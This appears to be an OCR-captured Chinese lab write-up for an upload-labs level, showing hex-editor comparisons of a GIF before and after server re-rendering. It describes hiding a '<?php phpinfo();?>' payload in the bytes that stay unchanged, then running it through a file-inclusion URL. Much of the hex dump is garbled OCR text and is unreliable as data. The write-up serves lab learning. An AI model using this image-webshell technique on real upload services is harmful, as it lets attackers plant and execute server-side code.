2002220 35 56 A1 34 03 BA 88 28 55 66 02 50 97 01 36 B6 93 26 93 29 18 1E 1E 81 5V;4.*(Uf.P69"&")	000001BA D8 6E 6F 6D 6D 75//28//////////////////////////////////	Ønommu (
000238 58 6C EC 05 97 48 F8 59 57 D7 E2 78 6C 6F B4 42 0D 38 E0 AB 90 E2 CB D5 X11KøYN×ā{lo`B.8à«.āEO	000001C1	.!œ7ß e.ū35://«e·//
200250 EC D0 10 5D 3F 0E BA F5 D8 A6 A2 28 B3 10 78 00 D4 5D 2E 19 8C B6 43 A9 iD.]?.*50;¢(*.x.0]@3C0	000001D1 2E 11 51 67 3D 23	••••Qg=#
200268 BA 1C 1D 1A 1A 06 59 4E EF 76 B9 84 EF AF 5C B9 F0 BB 46 F9 54 3B BD 03 2YNIX*,1`*&sFDTJX.	000001D7 01 AB 69 EB 5E 8A	.«iē^S
300280 BE 6A 1F A1 12 E4 9B 38 DB D1 C0 F8 6C 87 7B BA 9A 28 8A 42 33 B3 E0 C8 %j.i.a>8UNA¢I1{*s(SB3*aE	000001DD /////A1 94 52 4A 09 29 ///F8 09 22 /////A2	(/i"RJ.)/@."///B///
300298 48 14 38////////////////////////////////////	000001E7 ///14 C9 CD CD CD 7E DF 17 82 39 0E 3D 7F FE 98 C5 2E 55 1D 08 75 56 C8	.EIII~K.,9.=.þ>A.UuVE
3002A3 9C////////////////////////////////////	000001FE D3 A7 68 C5 83 88 5A EB 3C 43 39 22 68 AD B5 56 F1 FF 76 39 3F	OShAf Ze <c9"h-µvnyv9?< td=""></c9"h-µvnyv9?<>
9002A0 07 /C 0C 4A AA 35 92 A1 21 6A 84 52 F8 24 00 5C 49 29//////E5 14 85, 345'; !* "Rd\$. (I) // a	00000213 /////AA 3U/////21///84 52 CA 18 E3 5C 70 CE 39 17 F9 E5////	==/!/"RE.ä\pI9.úå/
9002C0 55 4C A9 3C DB 8A /2 50 4A /1 F6 CC /C /2 08 C/ /1 80 1F 42 AC /8 AC /0 ^LEKUS-PJgol[r.Cgt.B-(-p	866666222 //////////////////////////////	S. Øno=}≌A9c@IUdt;I
	00000225 AA 66 07 01 1A 50 AU 40 A6 C9 44 04 29 23 C8 84 E3 3E E7 5C 68 21 84 23	=n·n.;-n;cu.)#t,a>ç\.!,#
2002UA ////////////////////////////////////	00000240 84 C8 D5 DE 18 F4 F0 E0 C1 83 AF 09 21 42 D0 D5 D5 A5 53 A7 55 98 A4 03	"EUP.OYAAT .: B000¥5§^ A.
200227 84 UC// 67 38 /0 77 07 // // 38 1/ CU 85 A2 37 95 E4 61 90 96 24 09 08// 50 g;//;1*4?*aa.=*U./	00000205 25 82 50 67 25 6L 6L 6L 56 38 AD 75 8A DA//////E4 8E/////2A 8D 29 32	3*Pgall[;-u#U/aZ/*.)2
2002179 // A/ ED F3 1A 38 // 8E //////////////////////////////	000002/9 E8 A/ 40 29 15 42 08 E1 BA AE 93 DE D2 18 D4 DA DC BE /D 0/ 00 84 60 9E	esg).B.ax="P0.000%}, z
300307 23 03 59 96 2F 19 3F 9F 63 D6 12 3E F0 62 2C 83 2C 48 13 8E 11 70 08 3E #.Y-/.YYC0.>0*,f,K.X.p.>	00000231 E7 9C////////////////// 6A 89 9D 29 C6 42 9D E5//////13 CF 35 8D 31 A3	çœ///ryj*./ÆB.a/.15.1E

没有标红的位置是相同的,标红的位置是不同的、斜杠部分是对应两边位置不足的部分,这两个文件相同的部分较少没办法直接改,我又上 传了一个gif文件的,进行对比

E:\Rolan\Webshell File\photoma\gif\phpinfo_2.gif	- 🕞 🗁 -	C:\Users\king_boy\Downloads\2635.gif		- D - D - I
000010E0 41 4E 06 D5 49 2D D8 74 D3 51 00 73 B5 B2 17 2B 03 CA E5 8E 0A CA A3 F9 AN.ÕI-@tÓQ.sµ².+.ÊåŽ.Ê£ù		000010C5 41 4E 06 D5 49 2D D8 74	D3 51 00 73 B5 B2 17 28 03 CA E5 8E 0A CA A3 F9	AN.ÕI-ØtÓQ.sµ².+.ÊåŽ.Ê£ù
000010F8 FA 1B 10 44 B1 22 94 43 00 B0 AC C4 41 3C 9F 2B 92 95 34 BB 32 F0 94 94 ú.D±""C.°-ÄA<Ÿ+'•4»2δ""		000010DD FA 1B 10 44 B1 22 94 43	00 B0 AC C4 41 3C 9F 28 92 95 34 BB 32 F0 94 94	úD±""C.°¬ÄA<Ÿ+'•4»2ð""
00001110 8B 32 E3 EA 6D FA 71 B0 DB 6A 43 10 F9 03 24 C0 39 95 2A 19 99 AA 00 F8 <2ãêmúq°ÛjC.ù.\$À9•*.~≞.ø		000010F5 8B 32 E3 EA 6D FA 71 B0	DB 6A 43 10 F9 03 24 C0 39 95 2A 19 99 AA 00 F8	<2ãêmúq°ÜjC.ù.\$À9•*.™≧.¢
00001128 B4 90 DC 15 B9 56 16 9C EF 89 BB FB C1 42 1E C4 48 9D 07 04 17 60 91 D5 ´.Ü.¹V.œᡗ‱ûÁB.ÄK``Õ		0000110D B4 90 DC 15 B9 56 16 9C	EF 89 BB FB C1 42 1E C4 4B 9D 07 04 17 60 91 D5	.Ü.¹V.œĭ‱ûÁB.ÄK`´Õ
00001140 2B 19 1F 85 A7 A2 E6 48 9E 49 BB 5C A7 A8 7E DB AC B9 FB 1B 2C 64 88 D0 +§⊄æHžI»\§"~Ū¬ ⁴ ū.,d [*] Đ		00001125 2B 19 1F 85 A7 A2 E6 48	9E 49 BB 5C A7 A8 7E DB AC B9 FB 1B 2C 64 88 D0	+§¢æHžI»\§"~ܬ¹û.,d^Đ
00001158 4B 04 9C E7 03 16 80 BE 34 2A 57 3A 49 04 45 80 04 C6 7A B1 61 69 A6 B7 K.œç€X4*W:I.E€.€ztai		0000113D 4B 04 9C E7 03 16 80 BE	34 2A 57 3A 49 04 45 80 04 C6 7A B1 61 69 A6 B7	K.œç€%4*W:I.E€.Æz±ai¦
00001170 4B B6 D8 3A 1C 90 B9 00 60 35 08 63 EA 94 00 20 BF 36 09 BB 40 31 C0 FB Kj0: 5.ce". ¿6.»@1Aù		00001155 4B B6 D8 3A 1C 90 B9 00	60 35 08 63 EA 94 00 20 BF 36 09 BB 40 31 C0 FB	Kýø:1.5.cê". ¿6.»@1Aû
00001188 38 04 17 DB 77 00 10 00 C0 48 AB C5 07 74 A9 2B 44 BE 09 BD 44 FB 94 14 8. UW AK«A.t0+DK. XDd".		0000116D 38 04 17 DB 77 00 10 00	C0 4B AB C5 07 74 A9 2B 44 BE 09 BD 44 FB 94 14	8UwAK«A.t©+D%.%Dû".
000011A0 FC 81 16 FE CC 92 36 54 C0 C7 68 91 1F 1C 95 96 18 1F 1F 65 A3 10 0C 60 u.p1*6TACk*		00001185 FC 81 16 FE CC 92 36 54	C0 C7 6B 91 1F 1C 95 96 1B 1F 1F 65 A3 10 0C 60	upi'6TAÇk'ef
00001188 4F 19 AE BE 61 02 07 C0 BE 48 E0 48 48 D0 B2 3C C9 74 53 58 60 80 49 7A 0.*%a. AWHAHH0* <etsx *1z<="" td=""><td></td><td>0000119D 4F 19 AE BE 61 02 07 C0</td><td>BE 48 E0 48 48 D0 B2 3C C9 74 53 58 60 B0 49 7A</td><td>0.%AA&HAHHD*<etsx td="" °iz<=""></etsx></td></etsx>		0000119D 4F 19 AE BE 61 02 07 C0	BE 48 E0 48 48 D0 B2 3C C9 74 53 58 60 B0 49 7A	0.%AA&HAHHD* <etsx td="" °iz<=""></etsx>
00001100 F1 91 A4 02 80 52 F8 A8 8F /1 C6 A1 C9 58 1C 22 50 00 43 86 C1 44 F0 50 n°A. ERU 4045[E]. P.CTADOP		00001185 F1 91 A4 02 80 52 FB A8	BF /1 C6 A1 C9 58 1C 22 50 00 43 86 C1 44 F0 50	h'A.ERU ¿GRIEL."P.CTADOP
000011E8 05 CC A1 EC 9A C0 33 00 58 FA 41 83 FC 89 90 90 77 73 00 97 8E 25 90 48 .1;15A3.[LAFU*ws%%.H		000011CD 05 CC A1 EC 9A C0 33 08	58 FA 41 83 FC 89 90 9D 77 73 0D 97 8E 25 90 48	.1;15A3.[UA;UWS%%.H
00001200 44 34 C0 40 40 33 LA 0C 04 31 40 C4 34 U3 D1 0 00 00 IF 12 43 00 /F 24 02 U4AR UIBAHULEC.AR		000011ED EA 0A EA 0A EO 00 31 CC	20 00 C0 00 C0 00 D1 00 00 17 1E 40 00 /F E4 DE	are a the a have meet a
0000110 E A A A 4 50 00 31 CC / 0 00 CC 02 00 CC 54 / A0 55 9C 07 9F / 0 2 CS ESZ.P.11(.A.K.A URGY;,A		0000011FD EA 9A 9A 04 90 00 51 CC	70 00 C0 02 00 FC C5 47 A0 55 9C 07 9F 70 2C C5	est.P.II(.A.KUAG OKET),A
		000001215 EE 4A 1E 15 57 C5 54 65	94 ED 05 0A 5A CC 10 50 AD 44 0F 75 C5 85 EC 45	15WACCJ.1.0WD.UAJ11
20001240 24 57 C4 CC 1A ALTS 40 05 11 00 00 05 50 05 0C 34 00 05 0C 30 05 12 30 01 300010 0 F. 2140		00001220 24 37 C4 CC TA AI T3 40	P4 PE 65 AC 3E C9 A1 32 E9 38 C4 E9 P4 38 E2 18	4 Å3 W) e. 2à: 2ù0Êé 85
$\frac{1}{2}$ and $\frac{1}{2}$		00001245 A6 54 16 C5 E5 86 57 5C	7F 17 90 94 8F 64 81 48 65 60 F8 D5 99 68 94 C8	el vol « Ždt"eměň h"ř
00001290 54 83 18 15 45 60 35 06 50 68 4C 48 40 00 03 4C F7 74 F5 (8 5C CD 84 6C 7 ³ , ¥ 50]k(k@D (+th ²) ¹ ²]		00001275 54 B3 18 1F 45 00 35 D0	5D 6B 4C 4B 40 D0 03 4C F7 74 FF C8 5C CD B4 6C	73. ¥.50]kiK@D.ictbř\12]
00001248 CD 9F 41 36 8D 85 03 16 F2 14 99 81 CB DE BC CB 42 01 CE F4 4C 19 BB 19 TYA6.u. A. "FRYET 1		0000128D CD 9E 41 36 8D 85 03 16	F2 14 99 81 CB DE BC CB 42 01 CE F4 4C 19 BB 19	ŤΫΔ6.μ., â.™. ĔŖ¥Ĕ¢.ŤäL.».
000012C0 02 13 40 01 31 F0 93 F4 74 54 45 DC 01 58 D7 00 09 00 CF 90 F1 18 26 70 13"877XU. [X]. 3. 80		000012A5 02 13 A0 01 31 E0 93 EA	7A 5A A5 DC 01 5B D7 00 09 00 CE 90 E1 18 26 70	
000012D8 CB 91 81 CB 87 F7 4E 0F 35 04 9E F9 A6 04 20 00 10 20 01 F7 9C 19 F5 7C E'.E++N.5.Zu'+m.5]		0000128D CB 91 81 CB 87 F7 4E 0F	35 04 9E F9 A6 04 20 00 10 20 01 F7 9C 19 F5 7C	E'.E++N.5.žù!+œ.õ]
000012F0 CD 06 2D CE E1 3C CE F3 D1 13 5E 22 14 D8 80 04 75 31 18 82 81 88 24 10 ffá <fón.^".0°.u1t^\$.< td=""><td></td><td>000012D5 CD 06 2D CE E1 3C CE F3</td><td>D1 13 5E 22 14 D8 B0 04 75 31 18 82 B1 88 24 10</td><td>11á<1óÑ.^".0°.u1t^\$.</td></fón.^".0°.u1t^\$.<>		000012D5 CD 06 2D CE E1 3C CE F3	D1 13 5E 22 14 D8 B0 04 75 31 18 82 B1 88 24 10	11á<1óÑ.^".0°.u1t^\$.
00001308 67 EB 1C 03 2E 50 D1 27 59 01 19 E0 00 05 00 1 14 1D 15 09 80 3F DD 35 gĕ°Ň'1.à€?Ý5		000012ED 67 EB 1C 03 2E B0 D1 27	B9 01 19 E0 00 0B 00 01 14 1D 15 09 80 3F DD 35	gĕ°Ñ'¹à€?Ý5
00001320 CA 78 BA 01 18 10 B0 09 30 01 23 3D 18 22 61 18 88 41 18 10 FD 22 8C 71 Ê{°.0.#=."a.^Aý"@q		00001305 CA 7B BA 01 18 10 B0 09	30 01 23 3D 18 22 61 18 88 41 1B 10 FD 22 8C 71	Ê{º°.0.#=."a.^Aý"Œq
00001338 18 6A 91 D3 4A 81 D3 84 D1 D3 3A 4D 18 20 30 01 21 AD 01 27 79 01 18 70 . j ÓJ±Ó,ŇÓ:M. 0.! yp		0000131D 1B 6A 91 D3 4A B1 D3 84	D1 D3 3A 4D 18 20 30 01 21 AD 01 27 79 01 18 70	.j'ÓJ±Ó"ÑÓ:M. 0.!'yp
00001350 D4 18 40 01 0D B0 95 08 D0 D2 86 FC D3 50 8D 14 86 9C 7E 42 00 04 FD AC 0.0.0.D0jü0Pjæ~8ý∽		00001335 D4 18 40 01 0D B0 95 0B	D0 D2 B6 FC D3 50 8D 14 B6 9C 7E 42 00 04 FD AC	Ô.@°•.ĐÒĴüÓPĴæ~Bý∽
00001368 C1 2A B8 D1 6B D9 D4 23 70 02 B6 CC D3 51 ED D3 60 2D D5 25 21 12 09 61 Á* ŇkÙÔ#p.ĴÌÔQÍÔ -Õ%!a		0000134D C1 2A B8 D1 6B D9 D4 23	70 02 B6 CC D3 51 ED D3 60 2D D5 25 21 12 09 61	Á* ŇkÙÔ#p.ĴÌÓQÍÓ`-Õ%!a
00001380 0D 33 3D 08 1D 11 D1 09 E1 12 65 3D 12 6F 5D D6 6E 3D D7 25 41 02 13 F0 .3=Ñ.á.e=.o]Ön=×%Aδ		00001365 0D 33 3D 08 1D 11 D1 09	E1 12 65 3D 12 6F 5D D6 6E 3D D7 25 41 02 13 F0	.3=Ñ.á.e=.o]Ön=x%Að
00001398 4C 10 00 01 0A D0 8C 7C CD C4 D7 18 10 D7 72 0D D7 74 3D 01 10 F0 80 7B LĐŒ ĴĂ××r.×t=ð°{		0000137D 4C 10 00 01 0A D0 8C 7C	CD C4 D7 18 10 D7 72 0D D7 74 3D 01 10 F0 B0 78	LĐE ÍÄxxr.xt=ð°{
000013B0 74 D8 B3 A3 02 1B E0 02 2B F0 54 24 10 D8 72 6D 12 80 3D D9 80 9D 1C 0E t0 ³ £à.+ðT≸.Ørm.€=Ù€		00001395 74 D8 B3 A3 02 18 E0 02	28 F0 54 24 10 D8 72 6D 12 80 3D D9 80 9D 1C 0E	tس£à.+ðT\$.Ørm.€=Ù€
000013C8 9D 0E 84 50 1B 1F 61 11 9C BD 10 4D 30 02 24 D0 04 9D 5D 11 4D F0 01 18,P.a.a&.M0.\$D].Mð		000013AD 9D 0E 84 50 1B 1F 61 11	9C BD 10 4D 30 02 24 D0 04 9D 5D 11 4D F0 01 18	"Pa.œ½.M0.\$Ð].Mð
000013E0 <mark>50 01 15 70 DA AA OD D4 10 60 D4 10 20 DA A3 4D 11 10 71 10 EA 10 17 1D PpÚ*.Ô.`Ô. Ú£Mq.ĉ</mark>		000013C5 50 01 15 70 DA AA 0D D4	10 60 D4 18 20 DA A3 4D 11 18 71 18 EA 18 17 1D	<u>PpÚ≇.Ô.`Ô. Ú£Hq.ĉ</u>
000013F8 1 0D FF C0 0F BA 5D 0F 51 B0 DB F8 70 10 4B 90 4E C2 3D DC C3 DD 04 BE q.ÿÀ.º].Q°Ûøp.K.NÀ=ÜÀŸ.%		000013DD 71 0D FF C0 0F BA 5D 0F	51 B0 DB F8 70 10 48 90 4E C2 3D DC C3 DD 04 BE	q.ÿÀ.º].Q°Ûøp.K.NÂ=ÜÃÝ.¾
00001410 AD DB 00 21 10 0C 26 0D 43 51 0E CE FD DC D0 1D DD D2 5D 0E E7 F0 13 F9 -0.!.&.CQ.TýUĐ.YO].cð.u		000013F5 AD DB 00 21 10 0C 26 0D	43 51 0E CE FD DC D0 1D DD D2 5D 0E E7 F0 13 F9	-Ü.!&.CQ.İýÜÐ.ÝÖ].çð.ù
00001428 48 0A 01 A1 0C DA BD DD DC FD 0B 87 D1 DD E0 0D 0C CC B0 11 CF 00 0D 87 H;.UXYUý.‡NYàI°.I		0000140D 48 0A 01 A1 0C DA BD DD	DC FD 08 87 D1 DD E0 0D 0C CC 80 11 CF 00 0D 87	H;.0%YOý.‡NYàI°.I
00001440 40 0B E8 9D DE EA BD DE EC 5D 0B A5 40 DE F9 16 0A F2 3D DF F4 5D DF F6 (0.2.PE%P1].*@Pù0=B&]Bo		00001425 40 0B E8 9D DE EA BD DE	EC 5D 0B A5 40 DE F9 16 0A F2 3D DF F4 5D DF F6	@.è.pê%pi].¥@pùò=Bô]Bö
00001458 CD 09 5A 15 AF BF F7 B8 FA DD DF 85 10 08 00 21 F9 04 05 06 00 52 00 2C I.Z. "2+.uYBluR.,		0000143D CD 09 5A 15 AF BF F7 B8	FA DD DF 85 10 08 00	I.Z. "¿+, úYB
00001470 \$0 00 00 00 00 8C 00 D2 00 86 02 02 01 02 0C 10 08 12 06 13 18 15 03 1C 24				
00001488 44 27 35 64 32 35 14 26 2F 18 33 33 2A 23 6E 28 29 28 36 3E 3A 66 3E 40 . '5.25.8', .33*#. ()(5>>M				
00001440 19 47 32 00 55 67 07 66 77 27 48 40 27 55 64 42 33 67 47 45 30 67 5A 2E 962.0g.tw/HM*dB5.0N8g2.				
00001400 m 01 01 01 01 01 01 01 01 01 01 01 01 01				
00001400 P 83 /3 13 83 /A 1/ 90 A9 18 94 80 28 9/ A8 12 AE CA 24 AA 63 2F 84 CE {fs.fs.8.87[785*A/ 1				
90001400 10 22 22 47 07 00 00 00 02 00 20 00 02 00 17 00 76 17 00 76 03 80 90 00 0 00 0000000000000000000000				
percention of the of the terring set set set of the new terring to the better terring and the set of the set of terring the set of terring ter				
00001310 SC DC C0 DC 14 10 54 14 CD A0 DS D7 D0 CA CD A1 E9 EF D0 E0 EC CD DA 0C 1802200 00,0% JE1 01,812 AC		///////////////////////////////////////		

可以看到 有很大一部分是相同的,就可以在相同的部分加上 恶意代码

会话(<u>S</u>) 文件 [2] 编辑 [2] 搜索 [2] 视图 [V] 工具 [1] 帮助 [H]		
☆ 主页	● * * = 魚 函 ◆ ◆ ◆ ③ 会話 ◆ 差别 相同 規則 格式 夏利 下一个对比 上一对比 交换 重就		
	E:\Rolan\Webshell File\photoma\gif\phpinfo_2.gif	🗸 📎 🗁 🖛 📃 C:\Users\king_boy\Downloads\2635.gif	- 🔁 🖉 -
	00000000 47 49 46 38 39 61 8C 00 D2 00 F6 00 00 02 02 01 08 12 06 02 0C 10 13 1B GIF89aC.Ò.ō	00000000 47 49 46 38 37 61 8C 00 D2 00 C6 00 00 02 02 01 08 12 06 02 0C 10 13 1B GIF87a∉.Ò.€	
	00000018 15 2A 23 0E 03 1C 24 14 26 2F 04 27 35 04 32 35 18 33 33 36 3E 3A 28 20 ****\$.&/.'5.25.336>+()	00000018 15 2A 23 0E 03 1C 24 14 26 2F 04 27 35 04 32 35 18 33 33 36 3E 3A 28 29 .*#\$.&/.'5.25.336>:()	
	00000030 28 42 35 0F 4F 4E 30 67 5A 2E <mark>3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 2</mark> 8 (B5.ON0gZ. php phpinfo(</td <td>00000030 28 42 35 0F 4F 4E 30 67 5A 2E (B5.0N0gZ.)</td> <td></td>	00000030 28 42 35 0F 4F 4E 30 67 5A 2E (B5.0N0gZ.)	
	00000048 29 38 3F 3E 08 3E 4D 2F 48 4D 0D 55 67 0F 66 77 27 5E 64 4C 4F 4D 48 9);?>.>M/HM.Ug.fw'^dLOMHY	0000003A /// 08 3E 4D 2F 48 4D 0D 55 67 0F 66 77 27 5E 64 4C 4F 4D 48 59 // M/HM.Ug.fw'^dLOMHY	
	00000060 61 63 5F 62 71 74 73 5E 67 5B 86 76 53 7B 83 73 A0 96 68 DB B4 67 E1 d 7 ac_bqts*g[*vS{fs -h0^gac_]	0000004E 61 63 5F 62 71 74 73 5E 67 5B 86 76 53 7B 83 73 A0 96 68 DB B4 67 E1 C7 ac_bqts^g[+vS{fs -hÛ^gáÇ	
	00000078 75 12 75 88 5F 78 83 13 83 9A 17 90 A9 18 9C B6 28 97 A8 6F 93 99 1E AE u.u<_xf.fš@.æ¶(−o ^{mm.⊕}	00000066 75 12 75 88 5F 78 83 13 83 9A 17 90 A9 18 9C 86 28 97 A8 6F 93 99 1E AE u.u<_xf.fšO.æ¶(-~o"**.⊖	
	00000090 CA 24 AA C3 2F B4 CE 47 BD D6 55 C6 D9 91 92 93 AE B0 AE 9E A8 9C C3 BE Ê\$≉Ã/′ĨGXÖURÙ''″®®®ž∵∞Â¥	0000007E CA 24 AA C3 2F B4 CE 47 BD D6 55 C6 D9 91 92 93 AE B0 AE 9E A8 9C C3 BE Ê\$#Ä/´ÎGXÖU¢Ù' ^{™®®®} Ž`œÄ¾	
	000000A8 BF CB BA 8C B2 C7 B7 F3 D4 8E D2 D0 AF F3 D9 AF FD F3 BB F6 EC AE AA BB ¿Ĕºœ²Ç-óÔŽÒÐ-öÙ-ÿó»õi®≇»	00000096 BF CB BA 8C B2 C7 B7 F3 D4 8E D2 D0 AF F3 D9 AF FD F3 BB F6 EC AE AA BB ¿Ĕº⊄²Ç·óÔŽÒÐ`óÙ`ýó≫ö1®≇»	
	000000C0 C0 B6 CA CD 9C DC E8 94 F4 EB 8E F4 F0 B8 E6 EE AF E9 EF A6 D9 D7 D0 D2 ŶĒīæUè"ôēŽôð,æī éĭ¦Ú×DÒ	000000AE CØ B6 CA CD 9C DC E8 94 F4 EB 8E F4 FØ B8 E6 EE AF E9 EF A6 D9 D7 DØ D2 ÅJĒĪœŪè"ôēŽôð æī ši úxbò	
	000000D8 D2 FE F9 CC FD FC DB F4 EC D4 D0 EE F4 D4 F1 F1 EA E9 E8 F8 EF EF FC FC ÒþùÌýüÒðìÔĐÌôðìÑêéèøïĭüü	000000C6 D2 FE F9 CC FD FC DB F4 EC D4 D0 EE F4 D4 F1 F1 EA E9 E8 F8 EF EF FC FC ÒþùÌýǘOìÔĐìôðňǎéèøïïuü	
	000000F0 EC E3 F5 F8 F8 FE FE EC EF F5 DE DF D5 79 7D 80 80 D3 E4 64 C7 DD 64 85 lāō¢ūphìtŏPßÖy}€€ÒadÇYdµ	000000DE EC E3 F5 F8 FB FE FE EC EF F5 DE DF D5 79 7D 80 80 D3 E4 64 C7 DD 64 B5 1ãõoûþþìĭõPßÖy}€€ÓadÇYdµ	
	00000108 C6 30 C6 D5 48 B6 C9 E9 DE 95 7E C2 CF 39 47 32 CD 9E 2D 8F C6 E3 80 6B ≴0ÆÖHĴÉ¢Þ∾Äľ9G2ĬžÆã€k	000000F6 C6 30 C6 D5 48 B6 C9 E9 DE 95 7E C2 CF 39 47 32 CD 9E 2D 8F C6 E3 80 6B ≴0ÆÖH¶É¢P•~ÄÏ962İž⊀ã€k	
	00000120 03 3B 5B 56 00 00 00 00 00 00 00 00 00 00 00 00 00	0000010E 03 3B 5B 56 00 00 00 00 00 00 00 00 00 00 00 00 00	
	00000138 00 00 00 00 00 00 00 00 00 00 00 00 00	00000126 00 00 00 00 00 00 00 00 00 00 00 00 00	
	00000150 00 00 00 00 00 00 00 00 00 00 00 00 0	0000013E 00 00 00 00 00 00 00 00 00 00 00 00 00	
	00000168 00 00 00 00 00 00 00 00 00 00 00 00 00	00000156 00 00 00 00 00 00 00 00 00 00 00 00 00	
	00000180 00 00 00 00 00 00 00 00 00 00 00 00 0	0000015E 00 00 00 00 00 00 00 00 00 00 00 00 00	
	00000198 00 00 00 00 00 00 01 F9 04 04 06 00 00 021 FF 08 4E 45 54 53 43 41	00000186 00 00 00 00 00 00 00	
	000001B0 50 45 32 2E 30 03 01 00 00 00 2C 00 00 00 00 8C 00 D2 00 00 07 FE 80 47 PE2.0,€.Òþ€G	0000018D ////////////////////////////////////	
	000001C8 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90 8C 46 93 94 95 96 97 98 99 ,f _{µ=} ++*‰S<@.2. @F ^{#0} [*] **	00000198 82 83 84 85 86 87 88 89 8A 88 8C 8D 8E 8F 90 8C 46 93 94 95 96 97 98 99 ,f _{ju} +t ⁺ ‰S<€.2€ ^{HD} ^m	
	000001E0 9A 9B 9C 9D 9E 9F A0 95 8D 93 42 A5 41 A7 A8 A9 AA AB AC AD AE AF B0 B1 \$>∞.2Y •."B¥A§"@2«®*2±	000001B3 9A 9B 9C 9D 9E 9F A0 95 8D 93 42 A5 41 A7 A8 A9 AA AB AC AD AE AF B0 B1 \$>æ.ŽÝ •."B¥A§"@≥«®-°±	
	000001F8 B2 B3 B4 A5 42 93 88 A4 A7 3A BC BD BE BF C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 ²³ '#B" #B; XXX; AAAAAAACCÉÉ	000001CB B2 B3 B4 A5 42 93 88 A4 A7 3A BC BD BE BF C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 ²³ 'WB" H§: XXX ¿ÀÀÀÀÀA¢ÈÈ	
	00000210 BE A7 B7 46 86 46 42 41 3A 3B 3B 37 D5 37 D8 D9 DA DB DC DD DE DF E0 E1 ½§ F†FBA;;;7Ö7ØÜÜÜÜŸPBāā	000001E3 BE A7 B7 46 86 46 42 41 3A 3B 3B 37 D5 37 D8 D9 DA DB DC DD DE DF E0 E1 ½§ F†FBA;;;7Ö7ØUÜÜŸPBāá	
	00000228 E2 E3 E4 E3 D5 BC 41 B7 85 D0 D2 DA 48 EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 åãããÕXADÔÚKIỗñòóõö÷¢ù	000001F8 E2 E3 E4 E3 D5 BC 41 B7 85 D0 D2 DA 48 EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 âããðXADÓÚKIðñòóöö+¢ù	
	00000240 FA FB FB 37 4B D9 3A D2 39 1B 64 A4 9D BF 77 4C 12 2A 5C CB 80 A1 C3 87 úûû7KÙ:Ò9.d¤.¿wL.*\Ȱ;ć	00000213 FA FB FB 37 4B D9 3A D2 39 1B 64 A4 9D BF 77 4C 12 2A 5C C8 B0 A1 C3 87 úûû7KÙ:Ò9.d¤.¿wL.*\Ȱ;Ň	
	00000258 10 23 4A 9C 48 81 A2 45 78 D8 02 E2 12 14 4D C7 41 26 29 50 84 14 89 82 .#JœH±⊄Ex0.â. MCA&)P".‰,	00000228 10 23 4A 9C 48 B1 A2 45 78 D8 02 E2 12 14 4D C7 41 26 29 50 84 14 89 82 .#JœHiţExØ.âMÇA&)P _{J0} ≩,	

I	18	- R 🕘 HackBar 🗘 查看器 🖸 控制台 D 调试器 🏷 网络 {} 株式編銀器 介 性能 ① 内存 目 存储 肯 无踪唱环绕
		Q 撞索 HTML
		(html) event
		► <head></head>
Pass_01		■ de de de de de de de de de de de de de
D=== 02		▶ < div 10="nead">== (/)(/)(/)(/)(/)(/)(/)(/)(/)(/)(/)(/)(/)(
Pass-02		<pre>> voir due mein style= minimizight / /zpx, / mean</pre>
Pass-03		<pre>▼ <div id="upload_panel"></div></pre>
Pass-04	上 传 图 月 到 版 芳 精。	▼ <01>
Pass-05	注意:	► dis (m)
Pass-06		(da) F#07 (da)
Pass 07	1.保证上传后的图片马中仍然包含完整的 —116k 或 webshell 代码。	<pre>> <form =nctype="multipart/form-data" method="post">@@ </form></pre>
Pass-07		▶ <div id="msg">>>> (div></div>
Pass-08	2.使用文件包含漏洞能运行图片马中的恶意代码。	<pre>w <div id="img"></div></pre>
Pass-09	3. 网片马带 三油后熔都上传成功才管过关!	<pre><ins src="/upi08d/4438.git" width="250px"> //dim</ins></pre>
Pass-10	○ 国川 ∃ 要 ())(8、)(10)、(311 三 117 / 11 30 m) エ 12 / 00 (3) 第 / 2 × 3	
Pass-11		▶ <11 id="show_code"> ()
Pass-12		
Dace 13	法进场 更上传的 网 片 ·	01/
Dece 44	11.000 11.000 11.000 11.000 11.0000 11.0000 11.0000 11.0000 11.0000 11.00000 11.00000 11.00000 11.00000 11.0000	、/uw/ ▶ <div id="footer">(m </div> 澤田)
Pd55-14		<div class="mask"></div>
Pass-15	刘党	▶ <div class="dialog"> (m) </div>
Pass-16		<pre><script src="/j5/jaugry,min.js" type="text/javascript"></script> </pre>
Pass-17	19 Ro	<pre><script <u="" site="" type="text/avastript">//s/priama_p</u> </scripts <script type=text/avastript" scr=//s/priamabers.min.is"></script><</pre>
Pass-18		<script src="/js/prism-php.min.js" type="text/javascript"></script>
Pass 10		<script src="/js/index.jg" type="text/javascript"></script>
Pass-19		
Pass-20		
		html > body > div#main > div#upload panel > ol > li > div#img > img
		〒212歳詳式 :hov.ds + ★ ① 🗈 🖬 市局 计算值 更改 蓋
		元素(Φ 内联 ★ 弹性盒
		。 #ing ing 宀 { index.css:178 选择一个弹性 (Flex) 容器或项目 i
		border: + ipx solid () #000;
) * / 018
		继承自 li 此页面上没有使用 CSS 网络
		:is(ul, ol, dir, menu) :is(ul, ol, dir, menu, li) - ((用户代理) quirk.css:21 👻 会提出
		list-style-position: unset; }
		1i ф { (用户代语) quírk.css:11
		list-style-position: inside; V
) 14 m / / III // III
		text-align: match-parent; (AP/Vick) mtml.ctssr602 011 0 250+375

🕷 upload-labs	phpinfo() × +	
$\leftarrow \rightarrow \mathbf{C}$	⑦ A 192.168.93.128/include.php?file=upload/4430.gif	8 ☆

GIF87a��*#\$&/'525336>:()(B5ON0gZ.

PHP Version	5.2.17 Php
System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript/nologo_configure_js "enable-snapshot-build "enable-debug-pack" with-snapshot-template=d\php-sdk\snap_5_2Vc6Vx86\template"with-php- build=d\php-sdk\snap_5_2Vc6Vx86\php_build "with-pdo-oci=D\php- sdk\oracle\wistantclient10ysdk_shared"with-oci8=D\php-sdk\oracle \wistantclient10ysdk_shared"withoutp3web [*]
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no

成功的绕过了 二次渲染

